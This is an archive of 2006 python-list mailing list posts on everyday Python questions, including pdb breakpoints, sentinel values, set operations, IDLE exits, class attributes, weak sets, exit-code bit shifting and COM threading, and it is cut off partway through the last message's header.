From mark.e.smith at arnold.af.mil  Mon Oct 23 10:40:24 2006
From: mark.e.smith at arnold.af.mil (Mark E. Smith)
Date: Mon, 23 Oct 2006 09:40:24 -0500
Subject: Using cElementTree and elementtree.ElementInclude
Message-ID: <453CD458.2070605@arnold.af.mil>

 > cElementTree cannot hold ElementTree instances.
 >
 > can you post a small but self-contained example showing how you got this
 > error?

 > </F>



#from elementtree.ElementTree import ElementTree, dump # This works
from cElementTree import ElementTree, dump # This does not
from elementtree import ElementInclude

etree = ElementTree(file='xml_in.xml').getroot()
dump(etree)

ElementInclude.include(etree)
dump(etree)

for child in etree.find('./included_root').findall('./*'):
    # Copy the child down to the root
    etree.append(child)
# Remove the root/included_root
etree.remove(etree.find('./included_root'))
dump(etree)


<!--xml_in.xml-->
<root  xmlns:xi="http://www.w3.org/2001/XInclude">
     <child name="first"/>
     <xi:include href="xml_included.xml"/>
</root>

<!--xml_included.xml-->
<included_root>
    <child name="second"/>
    <child name="third"/>
</included_root>


Thanks for the help.
Mark


From bdesth.quelquechose at free.quelquepart.fr  Tue Oct 24 18:13:23 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 00:13:23 +0200
Subject: Debugging
In-Reply-To: <mailman.1092.1161707783.11739.python-list@python.org>
References: <mailman.894.1161423816.11739.python-list@python.org>	<mailman.968.1161596873.11739.python-list@python.org>	<453ca32e$0$11823$426a34cc@news.free.fr>
	<mailman.1092.1161707783.11739.python-list@python.org>
Message-ID: <453e8b95$0$23778$426a34cc@news.free.fr>

Fulvio a ?crit :
> 
> On Monday 23 October 2006 19:10, Bruno Desthuilliers wrote:
> 
> 
>>condition bpnumber [condition]
>>
>>    Condition is an expression which must evaluate to true before the
>>breakpoint is honored. If condition is absent, any existing condition is
>>removed; i.e., the breakpoint is made unconditional.
> 
> 
> I did some test, but whatever comes out doesn't disable the breakpoint until 
> condition becomes true.

I'm not sure to get what you mean here... The condition is a Python 
*expression*. If this expressions evals to True, the bp will trigger, 
else it will be ignored.

given the code:

00: for x in range(10):
01:    y = x * 2
02:    print y

and the pdb commands:

(pdb) break 2
(pdb) condition 1 y >= 6

The bp #1 should only trigger if y >= 6

> Supposing to have a function on program's variables the statement like " if 
> myvar == True: break" doesn't gives power to the BP.

I definitively don't understand you. How does statements in your program 
relates to setting conditions on a bp in the debugger ?

> If I do a check on the list of BPs the condition evidently appears, but no 
> luck :-O
> Also clear statement

s/statement/command/

> does clear only all BPs, it won't let me clear the 
> choosen BP number.

Did you really bother reading the doc ? If you want to clear a given pb, 
you need to pass it's number as argument to clear.


From claus.tondering at gmail.com  Thu Oct  5 06:59:01 2006
From: claus.tondering at gmail.com (Claus Tondering)
Date: 5 Oct 2006 03:59:01 -0700
Subject: Testing if an object is a function
Message-ID: <1160045941.341621.32110@b28g2000cwb.googlegroups.com>

If I want to test if an object, x, is an integer, I can call
isinstance(x, int).

But what do I do if I want to test if x is a function?

I can do this:

     if isinstance(x, type(lambda: None)): ...

But it does not seem very elegant to me.

Surely there is a simpler way to specify a type object that is the type
of a function.

--
Claus Tondering



From steven.bethard at gmail.com  Thu Oct 26 03:48:27 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Thu, 26 Oct 2006 01:48:27 -0600
Subject: Sorting by item_in_another_list
In-Reply-To: <ehpln3$pt9$2@enyo.uwa.edu.au>
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
	<IQD%g.15838$Fk1.36230@twister2.libero.it>
	<eho2kq$lqc$1@aioe.server.aioe.org>
	<rkN%g.22603$ta3.2702@tornado.texas.rr.com>
	<ehpln3$pt9$2@enyo.uwa.edu.au>
Message-ID: <Q4qdnYEF8YLW9d3YnZ2dnUVZ_r-dnZ2d@comcast.com>

Cameron Walsh wrote:
> Which brings me to the question, would this solution:
> 
> B = set(B)
> A = B + list(x for x in A if x not in B)
> 
> be faster than this solution:
> 
> B = set(B)
> A.sort(key=B.__contains__, reverse=True)
> 
> My guess is yes, since while the __contains__ method is only run once 
> for each object, the list still does not require sorting.

You're probably going to need to time that for your particular data. 
Here's what it looks like on an artificial data set:

$ python -m timeit -s "A = range(100); B = range(40, 60, 2); B_set = 
set(B)" "A = B + list(x for x in A if x not in B_set)"
10000 loops, best of 3: 54.5 usec per loop

$ python -m timeit -s "A = range(100); B = range(40, 60, 2); B_set = 
set(B)" "A.sort(key=B_set.__contains__, reverse=True)"
10000 loops, best of 3: 39.7 usec per loop

That said, I'd probably still use the first solution -- it's more 
immediately obvious why that one works.

STeVe


From ben at benfinney.id.au  Thu Oct 26 21:17:46 2006
From: ben at benfinney.id.au (Ben Finney)
Date: Fri, 27 Oct 2006 11:17:46 +1000
Subject: Sentinel values for special cases
Message-ID: <87ac3iftfp.fsf@benfinney.id.au>

Howdy all,

Ned Batchelder blogged[0] about a debate over checking function
parameters, and to what extent dynamic typing should be relied upon.

I was one of many who commented, but I wrote what purports to be a
comprehensive checklist when considering special-case inputs for
functions. I thought the best way to puncture my ego would be to post
that list here and see how well it survives :-) Here goes:


If you have a special case, there are a few steps.

First, do you really need a special case, or are you just being
paranoid about type safety? Let the caller take care of whether they
mean what they say, and make your function do *one* job clearly and
simply. (This supports the 'insert_ids(get_global_ids())' idea
earlier.)

Second, do you *really* need a special case, or are you making your
function too complex? Be very suspicious of functions that are written
to do two different things depending on their input, and split them so
that both are simple and the caller can be explicit about what they
want. This doesn't preclude factoring out the code that's common to
both of them, of course.

Third, if you actually need a special case, can it be None? This is
the idiomatic Python "sentinel value", and it looks like the code
posted by 'sri' [reproduced below].

    def insert_ids(ids=None):
        if ids is None:
            ids = get_global_ids()

Note that if you're squeamish about using None,
but don't have a specific reason not to use it, use it; other
programmers will thank you for following convention.

Fourth, if you have decided that a magic sentinel value is called for
but None is already taken for some other purpose, don't use a
string. Use a unique do-nothing object, defined at the module level so
callers can easily get at it, like 'Dmitry Vasiliev' showed
[reproduced below].

    GLOBAL = object()

    def insert_ids(ids=GLOBAL):
        if ids is GLOBAL:
            ids = get_global_ids()

You won't accidentally use it, because it's defined only in one place
(you're comparing by 'is', remember) and it's not used for anything
except indicating the special case.

Fifth, there is no fifth. If you've come to the end and think it's too
complex, it probably is. Start at the top again.



[0]: <URL:http://www.nedbatchelder.com/blog/200610.html#e20061022T192641>

-- 
 \          "Immorality: The morality of those who are having a better |
  `\                                       time."  -- Henry L. Mencken |
_o__)                                                                  |
Ben Finney



From DustanGroups at gmail.com  Tue Oct  3 18:49:13 2006
From: DustanGroups at gmail.com (Dustan)
Date: 3 Oct 2006 15:49:13 -0700
Subject: Strange sorting error message
In-Reply-To: <4og779Fe6briU1@uni-berlin.de>
References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>
	<4og779Fe6briU1@uni-berlin.de>
Message-ID: <1159915753.372945.153400@i3g2000cwc.googlegroups.com>


Diez B. Roggisch wrote:
> Dustan schrieb:
> > I'm hiding some of the details here, because I don't want to say what
> > I'm actually doing.
>
> > I have a special-purpose class with a __cmp__ method all set up and
> > ready to go for sorting. Then I have a special class that is based on
> > the builtin type list (though I didn't actually inherit list; I
> > probably should). When I create an instance with 2 or more items, and
> > attempt to sort it, I get this strange error message:
> >
> >>>> myList.sort()
> > Traceback (most recent call last):
> >   File "<console>", line 1, in <module>
> >   File "[listModulePath]", line 239, in sort
> >     self.listOfObjects.sort()
> > TypeError: an integer is required
> >
> > The sort method's code is exactly what you see; it's a one-line method.
> >
> > The only thing I can think of is the __cmp__ method is returning
> > something other than an integer, which it's not.
>
> Does stuffing the objects in a standard list and sorting them work? How
> does the __cmp__-method look like?

Whoops, I had created the variable returnValue in __cmp__, but
forgotten to return it. Now it works.

That was a dumb mistake; sorry for the trouble.



From tim.peters at gmail.com  Wed Oct 25 20:16:03 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Wed, 25 Oct 2006 20:16:03 -0400
Subject: Dealing with multiple sets
In-Reply-To: <1161821282.846050.184360@e3g2000cwe.googlegroups.com>
References: <1161821282.846050.184360@e3g2000cwe.googlegroups.com>
Message-ID: <1f7befae0610251716o2bdc2a24v89b2d2616e9bb212@mail.gmail.com>

[John Henry]
> If I have a bunch of sets:
>
> a = set((1, 2, 3))
> b = set((2, 3))
> c = set((1, 3))
> ....
>
> What's the cleanest way to say:
>
> 1) Give me a list of the items that are in all of the sets? (3 in the
> above example)

list(a & b & c)

> 2) Give me a list of the items that are not in all of the sets? (1,2 in
> the above example)

list((a | b | c) - (a & b & c))


From gioco at nekhem.com  Fri Oct  6 07:12:13 2006
From: gioco at nekhem.com (Corrado Gioannini)
Date: Fri, 6 Oct 2006 13:12:13 +0200
Subject: Why do this?
In-Reply-To: <Xns98547173763B6duncanbooth@127.0.0.1>
References: <mailman.1336.1160044062.10491.python-list@python.org>
	<Xns985378283690Dduncanbooth@127.0.0.1>
	<mailman.1442.1160128745.10491.python-list@python.org>
	<Xns98547173763B6duncanbooth@127.0.0.1>
Message-ID: <20061006111213.GA3318@zephyr>

On Fri, Oct 06, 2006 at 10:09:14AM +0000, Duncan Booth wrote:
> I hope you have a good reason why you don't do:
> 
>   cursor.execute(a_complex_select_sql, (id_foo, value_bar, ...))
> 
> instead.

hehe. 
i was just trying to be didactic, simplifying the actual situation.
(anyway, sometimes i had to print, or store, the sql statement, or 
to execute the same sql statement on different databases etc. etc..)

regards,
c.
-- 
             no, sono sempre io, non mi cambierete quel che ho dentro
                                        forse ho solo un'altra faccia
                      ho pi? cicatrici di prima, sorrido un po' meno,
                                                  forse penso di pi?.
                                                               (Kina)



From fredrik at pythonware.com  Sun Oct 22 11:29:04 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 22 Oct 2006 17:29:04 +0200
Subject: Why I cannot Exit python shell ??
In-Reply-To: <1161530672.565105.5770@i42g2000cwa.googlegroups.com>
References: <1161530672.565105.5770@i42g2000cwa.googlegroups.com>
Message-ID: <ehg2o0$qsu$1@sea.gmane.org>

Jia Lu wrote:

>   After using python shell (IDLE) for a while, I typed commands below
> to exit . But error ocurred.
> 
>>>> raise SystemExit
> 
> Traceback (most recent call last):
>   File "<pyshell#10>", line 1, in <module>
>     raise SystemExit
> SystemExit
>>>> sys.exit(0)
> 
> Traceback (most recent call last):
>   File "<pyshell#11>", line 1, in <module>
>     sys.exit(0)
> SystemExit: 0
>>>> dir()
> ['__builtins__', '__doc__', '__name__', 'os', 'sys', 'time']
> 
> Why??

because IDLE catches all exceptions, including SystemExit.  to quit 
IDLE, just type "quit()", or close the window.

</F>



From ilias at lazaridis.com  Tue Oct 10 23:52:16 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 10 Oct 2006 20:52:16 -0700
Subject: Python component model
In-Reply-To: <mailman.163.1160452251.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<mailman.141.1160429886.11739.python-list@python.org>
	<1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>
	<mailman.163.1160452251.11739.python-list@python.org>
Message-ID: <1160538736.856864.175990@i42g2000cwa.googlegroups.com>

Robert Kern wrote:
> Edward Diener No Spam wrote:
...

> >> You'll definitely want to take a look at Enthought's Traits (disclaimer:
> >> I work for Enthought). I'm supposed to be on vacation now, so I'm not
> >> going to give you the full rundown of Traits and Traits UI, so I'm
> >> simply going to point you to the page we have about it:
> >>
> >>   http://code.enthought.com/traits/
> >
> > It looks as if traits is an attempt to create a "property" in the
> > component terminology which I originally specified. I will take a look
> > at it.
>
> It also provides an event model and a declarative UI layer as well as several
> other things besides.

looks interesting.

what about persistency?

.



From bignose+hates-spam at benfinney.id.au  Tue Oct 10 20:26:50 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 11 Oct 2006 10:26:50 +1000
Subject: Is a list static when it's a class member?
References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>
Message-ID: <87odsj8zp1.fsf@benfinney.id.au>

"glue" <miracle.glue at gmail.com> writes:

> I have a class with a list member and the list seems to behave like
> it's static while other class members don't.

It's not "static"; rather, it's a class attribute, by virtue of being
bound when the class is defined. Those are shared by all instances of
the class.

> The code...
>
> class A:
>     name = ""
>     data = []

This runs when the class is defined, creates two new objects and binds
them to the attribute names "name" and "data". All instances will
share both of these unless they re-bind the names to some other
object.

>     def __init__(self, name):
>         self.name = name

This defines a function that runs on initialisation of a new instance
of the class, and re-binds the attribute name "name" to the object
passed as the second parameter to __init__.

The binding that occurred when the class was defined is now
irrelevant. This is known as "shadowing" the class attribute; you've
re-bound the name to a different object.

>     def append(self, info):
>         self.data.append(info)

This defines a function that runs when the 'append' method is called,
and asks the existing object bound to the "data" attribute -- still
the one that was bound when the class was defined -- to modify itself
in-place (with its own 'append' method).

-- 
 \        "None can love freedom heartily, but good men; the rest love |
  `\                        not freedom, but license."  -- John Milton |
_o__)                                                                  |
Ben Finney



From ldo at geek-central.gen.new_zealand  Mon Oct  9 00:16:27 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 17:16:27 +1300
Subject: Why do this?
References: <mailman.1339.1160044890.10491.python-list@python.org>
Message-ID: <egcict$43p$2@lust.ihug.co.nz>

In message <mailman.1339.1160044890.10491.python-list at python.org>, Tim
Golden wrote:

> [Matthew Warren]
> | But nowadays, I see things like this all over the place;
> | 
> | print("There are %s ways to skin a %s" % (number, furryanimal))
> 
> The outermost brackets are (at the moment) unnecessary in python,
> altho' print is slated for replacement by a function in Python 3.0
> at which point they'll be necessary.

Why bother? What would then be the advantage of using print over
sys.stdout.write?

I thought the existing print statement was a convenience for interactive
use, newbie tutorials and the like. If it's going to become a function, why
not use the function that's already there?


From gerrit at nl.linux.org  Fri Oct 13 18:44:46 2006
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sat, 14 Oct 2006 00:44:46 +0200
Subject: Best IDE?
In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
Message-ID: <20061013224446.GA18563@topjaklont.student.utwente.nl>

On 2006-10-13 16:31:37 +0200, Ahmer wrote:
> Subject: Best IDE?

cat > foo.py

> How much does it cost?

0


From tim.peters at gmail.com  Thu Oct  5 13:29:50 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Thu, 5 Oct 2006 13:29:50 -0400
Subject: weakSet
In-Reply-To: <1160067184.086527.20420@e3g2000cwe.googlegroups.com>
References: <1160067184.086527.20420@e3g2000cwe.googlegroups.com>
Message-ID: <1f7befae0610051029j4640e2aey42defd64894fabaa@mail.gmail.com>

[jean.philippe.mague at gmail.com]
> Has anyone ever think about a set wich references its elements weakly ?

Yes, and there are excruciating subtleties.  I only implemented as
much of one as ZODB needed at the time:

# A simple implementation of weak sets, supplying just enough of Python's
# sets.Set interface for our needs.

class WeakSet(object):
    """A set of objects that doesn't keep its elements alive.

    The objects in the set must be weakly referencable.
    The objects need not be hashable, and need not support comparison.
    Two objects are considered to be the same iff their id()s are equal.

    When the only references to an object are weak references (including
    those from WeakSets), the object can be garbage-collected, and
    will vanish from any WeakSets it may be a member of at that time.
    """

For the rest ;-), including discussion of excruciating subtleties that
arise even implementing this little, see:

    http://svn.zope.org/ZODB/trunk/src/ZODB/utils.py


From larry.bates at websafe.com  Tue Oct 17 12:21:04 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Tue, 17 Oct 2006 11:21:04 -0500
Subject: Return returns nothing in recursive function
In-Reply-To: <mailman.644.1161101400.11739.python-list@python.org>
References: <mailman.644.1161101400.11739.python-list@python.org>
Message-ID: <453502F0.40103@websafe.com>

Matt,

You should consider not using the long footer on posts to
comp.lang.python.  It doesn't make a lot of sense there.

-Larry

> This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. 
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> http://www.digica.com


From martin at v.loewis.de  Wed Oct 11 00:53:28 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Oct 2006 06:53:28 +0200
Subject: Funky file contents when os.rename or os.remove are interrupted
In-Reply-To: <1160502494.520457.276080@m7g2000cwm.googlegroups.com>
References: <1160502494.520457.276080@m7g2000cwm.googlegroups.com>
Message-ID: <452C78C8.9080305@v.loewis.de>

Russell Warren schrieb:
> Any insight from someone with knowledge of the internal operations of
> os.remove and/or os.rename would be greatly appreciated, although I
> expect the crux may be at the os level and not in python.

Just to confirm what others have said: Python has nothing to do with
that. It calls the relevant Win32 API rather directly.

Then, Windows has nothing to do with it, either. It calls the routines
of the file system driver rather directly.

It's the FAT file system that may suffer from metadata corruption in
case of power loss. If you lose power on a disk that has a FAT file
system on it, you need to run chkdsk before using the file system
again, and you *still* may see corruption. As others have said:
use NTFS if you want a reasonable chance of getting in a clean state
in case of a power loss.

Regards,
Martin


From hpsekhon at googlemail.com  Mon Oct  2 11:57:52 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Mon, 02 Oct 2006 16:57:52 +0100
Subject: commands.getstatusoutput result is not command line exit value!!!
In-Reply-To: <452133F1.5050401@holdenweb.com>
References: <452125F8.8070106@googlemail.com> <efrat3$db4$1@sea.gmane.org>
	<45213245.3000808@googlemail.com> <452133F1.5050401@holdenweb.com>
Message-ID: <45213700.5050907@googlemail.com>

I'm sorry, this may seem dense to you but I have to ask. What on earth 
are you talking about?

Why is it shifted 8 bits to the left? Why is there bitshifting at all? 
Why doesn't commands give the same exit value as os.system() and the 
unix cli?

When you choose to exit a program you give it a return value to exit 
with, so why would this change, I exit with the number 1 then expect 
that number to be the exit code, right? Where do these higher numbers 
come into the equation and why?

Please assume that I am not a mind reader and require explanation before 
I can understand.

Perhaps you aren't a mind reader either and don't know why the writers 
of the commands lib chose to do this insanity either? It seems the 
os.system() guys did the right thing, I wonder why 
commands.getstatusoutput doesn't...

Having just tested it manually with a shell script returning 2, 
commands.getstatusoutput did give the exit code as 512, so it does seem 
to generically shift the exit code 8 bits to the left or multiply it by 
256 for those of us who need some more straight talking...

ugg, perhaps it's time to stop using this thing and use a better lib module.

any explanations welcome...

-h

Hari Sekhon



Steve Holden wrote:
> A famous Holden typo - it should have been "12 * 256 == 3072", but 
> really it shouldn't have been beyond you to perform a division of 3072 
> by 12 (given that you already knew the number 12 was potentially 
> involved).
>
> Basically the value you want is shifted up 8 bits. Perhaps I should 
> more understandably have said:
>
>   12 << 8 == 3072
>
> regards
>  Steve
>
> Hari Sekhon wrote:
>> I don't quite understand what you are saying here:
>>
>> 2 * 256 is 512,
>> 2 ** 256 is some extremely large number.
>>
>> 2**12 is 4096.
>>
>> So how does 3072 factor into this?
>>
>> Could you explain what you mean by "the error in the top half of a 
>> sixteen-bit value"?
>>
>> This makes no sense to me at this moment.
>>
>> -h
>>
>> Hari Sekhon
>>
>>
>>
>> Steve Holden wrote:
>>
>>> Hari Sekhon wrote:
>>>  
>>>
>>>> I'm running a command like
>>>>
>>>> import commands
>>>> result = commands.getstatusoutput('somecommand')
>>>> print result[0]
>>>> 3072
>>>>
>>>>
>>>> However, this exit code made no sense so I ran it manually from the 
>>>> command line in bash on my linux server and it gives the exit code 
>>>> as 12, not this weird 3072 number.
>>>>
>>>> So I tried os.system('somecommand') in the interactive python shell 
>>>> and it too returned the same result for the exit code as the unix 
>>>> shell, 12, but re-running the commands.getstatusoutput() with the 
>>>> exact same command still gave 3072.
>>>>
>>>>
>>>> Is commands.getstatusoutput() broken or something?
>>>>
>>>>
>>>> -h
>>>>
>>>>   
>>> No, it's just returning the error code in the top half of a 
>>> sixteen-bit value. You will notice that 3072 == 2 * 256.
>>>
>>> That's always been the way the Unix return code has been returned 
>>> programattically, but the shell shifts it down to make it more usab;e.
>>>
>>> regards
>>>  Steve
>>>  
>>>
>
>


From http  Fri Oct 20 21:55:01 2006
From: http (Paul Rubin)
Date: 20 Oct 2006 18:55:01 -0700
Subject: Customize the effect of enumerate()?
References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com>
Message-ID: <7xfyditoui.fsf@ruckus.brouhaha.com>

"Dustan" <DustanGroups at gmail.com> writes:
> Can I make enumerate(myObject) act differently?

No.

> Why the funny behavior, you ask? For my class A, it doesn't make sense
> to number everything the standard programming way.

Add an enumerate method to the class then, that does what you want.
Maybe dict.iteritems would be a better example to follow.


From bignose+hates-spam at benfinney.id.au  Tue Oct  3 21:41:47 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 04 Oct 2006 11:41:47 +1000
Subject: PEP 358 and operations on bytes
References: <20061003172441.GA28391@topjaklont.student.utwente.nl>
	<87k63gj41g.fsf@benfinney.id.au>
	<7.0.1.0.0.20061003220829.01cc7898@yahoo.com.ar>
Message-ID: <87ejtoj1r8.fsf@benfinney.id.au>

Gabriel G <gabrielg_laburando at yahoo.com.ar> writes:

> At Tuesday 3/10/2006 21:52, Ben Finney wrote:
>
> >Gerrit Holl <gerrit at nl.linux.org> writes:
> > >     - str methods endswith, find, partition, replace, split(lines),
> > >       startswith,
> > >     - Regular expressions
> >
> >Looking at those, I don't see why they wouldn't be useful for *all*
> >sequence types. Perhaps there needs to be a 'seq' type containing
> >those common methods, that is the superclass of 'str', 'bytes',
> >'list', 'tuple' et cetera.
>
> find() could be useful sometimes.
> But what means partition, replace, split, etc on a generic sequence?

    >>> "spamandeggs".partition("and")
    ('spam', 'and', 'eggs')
    >>> ["foo", "bar", "spam", "baz", "quux", "wibble"].partition("spam")
    (["foo", "bar"], ["spam"], ["baz", "quux", "wibble"])

    >>> "spamandeggs".startswith("spam")
    True
    >>> ["foo", "bar", "spam", "baz", "quux", "wibble"].startswith("foo")
    True

i.e. the 'str' methods can be seen as operating on a sequence of
characters; their 'str' return values are likewise sequences of
characters. That can be generalised to a sequence of the same type as
the instance; so, in the examples above, the 'list' methods operate on
sub-lists.

Perhaps not all of the mentioned methods make sense for all sequence
types. But I think it would be useful to have a common set of
functionality available for all sequence types, in a common ancestor.

-- 
 \     "He may look like an idiot and talk like an idiot but don't let |
  `\           that fool you. He really is an idiot."  -- Groucho Marx |
_o__)                                                                  |
Ben Finney



From Benjamin.Barker at gmail.com  Sun Oct  8 09:19:22 2006
From: Benjamin.Barker at gmail.com (Ben)
Date: 8 Oct 2006 06:19:22 -0700
Subject: Bizzare lst length problem
In-Reply-To: <1160313168.683964.242350@c28g2000cwb.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
	<1160312065.656400.275770@k70g2000cwa.googlegroups.com>
	<1160313168.683964.242350@c28g2000cwb.googlegroups.com>
Message-ID: <1160313562.355853.259070@i42g2000cwa.googlegroups.com>

Using Fredericks advice I managed to track down the problem - it was
really very stupid. I had accidentally cast the list to a string
earlier in another part of the code. Its a bit of an anticlimax really
- not mysterious at all (just mysteriously remiss on my part)

Apologies for not simple posting the entire code earlier on - but
thanks for everyone for puttin up with me, and in particular to
Frederick for his very useful hint :-)

Cheers,

Ben


John Machin wrote:
> Ben wrote:
> > ...and when I print out the string, it is still formatted as one would
> > expect a list to be:
> >
> > <type 'str'> "['01', '02', '03', '04']"
> >
>
> We know that. Fredrik deduced it and told you well over an hour ago.
>
> Show us the code that is creating instances of the panel class ...
>
> panel1 =
> panel(number=?,level=?,location=?,mops=????????????????,matrix=?)
> What are you passing as the 4th positional arg
> ^^^^^^^^^^^^^^^^^^^^^^^ ???



From aahz at pythoncraft.com  Mon Oct  2 10:43:09 2006
From: aahz at pythoncraft.com (Aahz)
Date: 2 Oct 2006 07:43:09 -0700
Subject: PyCon proposals (was Re: PATCH: Speed up direct string concatenation
	by 20+%!)
References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com>
	<mailman.956.1159547188.10491.python-list@python.org>
	<1159552048.354214.198180@e3g2000cw
	<1159762765.943691.139690@b28g2000cwb.googlegroups.com>
Message-ID: <efr8ht$rsq$1@panix3.panix.com>

In article <1159762765.943691.139690 at b28g2000cwb.googlegroups.com>,
Larry Hastings <larry at hastings.org> wrote:
>Steve Holden wrote:
>>
>> I think your project might make a very
>> interesting PyCon paper for people who were thinking about joining the
>> development effort but hadn't yet started.
>
>Perhaps; I've never been to PyCon, but it might be fun to give a
>presentation there.  That said, it would be way more relevant if the
>patch got accepted, don'tcha think?

Not really.  The principles involved are timeless, and I guarantee you a
large audience regardless of whether the patch gets accepted (provided
you specify an appropriate presentation title and summary).
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"LL YR VWL R BLNG T S"  -- www.nancybuttons.com


From surendra.lingareddy at gmail.com  Tue Oct 24 18:53:42 2006
From: surendra.lingareddy at gmail.com (Suren)
Date: 24 Oct 2006 15:53:42 -0700
Subject: Stylesheet not respected
Message-ID: <1161730422.793144.289690@f16g2000cwb.googlegroups.com>

I was able to the see weird stylesheet behavior on opera, IE and
mozilla under
mod_python. Here is some python code that exhibited the behavior. I
have the body.css in the same folder as this file and the background is

set to blue. When I access it at http://localhost/test.py, the html
page shows Hello World with no blue background.

If i view source, copy into test.html, launch it in browser, everything

is good. Does the lack of .html extension in the address bar cause
trouble?

from mod_python import apache
def handler(req):
        req.content_type = 'text/html'
        req.write("""
        <html>
        <head>
                <title>Hello World</title>
                <link href="body.css" type="text/css" rel="stylesheet"
/>
        </head>
        <body>
                Hello World
        </body>
        </html>""")

If I inline the style, it works fine. Any ideas why this happens?



From tejovathi.p at gmail.com  Fri Oct 13 00:28:07 2006
From: tejovathi.p at gmail.com (Teja)
Date: 12 Oct 2006 21:28:07 -0700
Subject: COM and Threads
In-Reply-To: <1160712022_1597@sp6iad.superfeed.net>
References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
	<1160712022_1597@sp6iad.superfeed.net>
Message-ID: <1160713687.665650.221900@b28g2000cwb.googlegroups.com>


Roger Upole wrote:

> "Teja" <tejovathi.p at gmail.com> wrote:
> >I have an application which uses COM 's Dispatch to create a COM based
> > object. Now I need to upgrade the application to a threaded one. But
> > its giving an error that COM and threads wont go together. Specifically
> > its an attribute error at the point where COM object is invoked. Any
> > pointers please??????
> >
>
> An actual traceback would help.
> At a guess, when using COM in a thread
> you need to call pythoncom.CoInitialize and
> CoUninitialize yourself.
>
>      Roger

Actually Roger, this is the scenario....

I create a COM object at the beginnning of the main thread. In the sub
thread, I need to access the same instance of the COM object. If it
were a normal object ie. not a COM obj, i was able to do it. But if it
were a COM object, its giving an attribute error? Should I pass a COM
object to the thread. If so How? Please let me know ASAP... Thnks



From umut.tabak at student.kuleuven.be  Wed Oct 25 09:39:43 2006
From: umut.tabak at student.kuleuven.be (umut.tabak at student.kuleuven.be)
Date: 25 Oct 2006 06:39:43 -0700
Subject: To remove some lines from a file
In-Reply-To: <1161783176.859081.79100@m73g2000cwd.googlegroups.com>
References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>
	<1161783176.859081.79100@m73g2000cwd.googlegroups.com>
Message-ID: <1161783583.094477.280360@i3g2000cwc.googlegroups.com>


Thanks, I have learnt sth from the library BTW.

Regards
On Oct 25, 3:32 pm, "Jerry" <jwe... at gmail.com> wrote:
> Very inelegant, but you get the idea:
>
> counter = 0
>
> f = open("test.txt")
> for line in f.readlines():
>     if line[0] != "$" and counter < 2:
>         counter += 1
>         continue
>     else:
>         print line,
> 
> --
> Jerry



From johnjsal at NOSPAMgmail.com  Wed Oct 25 15:13:26 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 19:13:26 GMT
Subject: cleaner way to write this?
In-Reply-To: <7x8xj4i5gq.fsf@ruckus.brouhaha.com>
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>
Message-ID: <qHO%g.153$1n3.4133@news.tufts.edu>

Paul Rubin wrote:

> Oh, I see.  You really want something like repeat...while, which Python
> doesn't have.  Anyway I start to prefer something like (untested):
> 
>      def create_db_name(self):
>          try:
>             while True:
>                dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:',
>                                        'Create New Database')
>                if dlg.ShowModal() != wx.ID_OK:
>                    return None
>                db_name = dlg.GetValue()
>                if db_name:
>                    return db_name
>                pop_up_error_dialog("please enter a value or press cancel")
>          finally:
>             dlg.Destroy()

Interesting. Some variation of this might suit me, but I think one other 
problem I'm having is that the ShowModal() method returns whenever a 
button is pressed, so even if OK is pressed with an empty string in the 
box, the dialog disappears and returns an "OK" value. I'll have to check 
in the wxpython group on how to handle this one, I think.


From leipold at ace-net.com  Tue Oct 10 10:18:07 2006
From: leipold at ace-net.com (Walter S. Leipold)
Date: Tue, 10 Oct 2006 10:18:07 -0400
Subject: (semi-troll): Is Jython development dead?
Message-ID: <E5F271CA3BECD511A5DB0040F60C8C89067045F4@bdcde0.ace-net.com>

John Roth (JohnRoth1 at jhrothjr.com) wrote:
> I've had a couple of inquiries about Jython support 
> in PyFIT, and I've had to say that it simply isn't 
> supported. The latest point release requires Python 
> 2.3, and 2.4 will be required in the next year or so.
> 
> John Roth
> Python FIT

Just last month, Sun hired Charles Nutter and Thomas Enebo to work on JRuby
full-time.  Can somebody with some street cred (like the PSF) do something
to persuade Sun to support Jython the same way?  

-- Walt


From onurb at xiludom.gro  Thu Oct  5 04:13:43 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
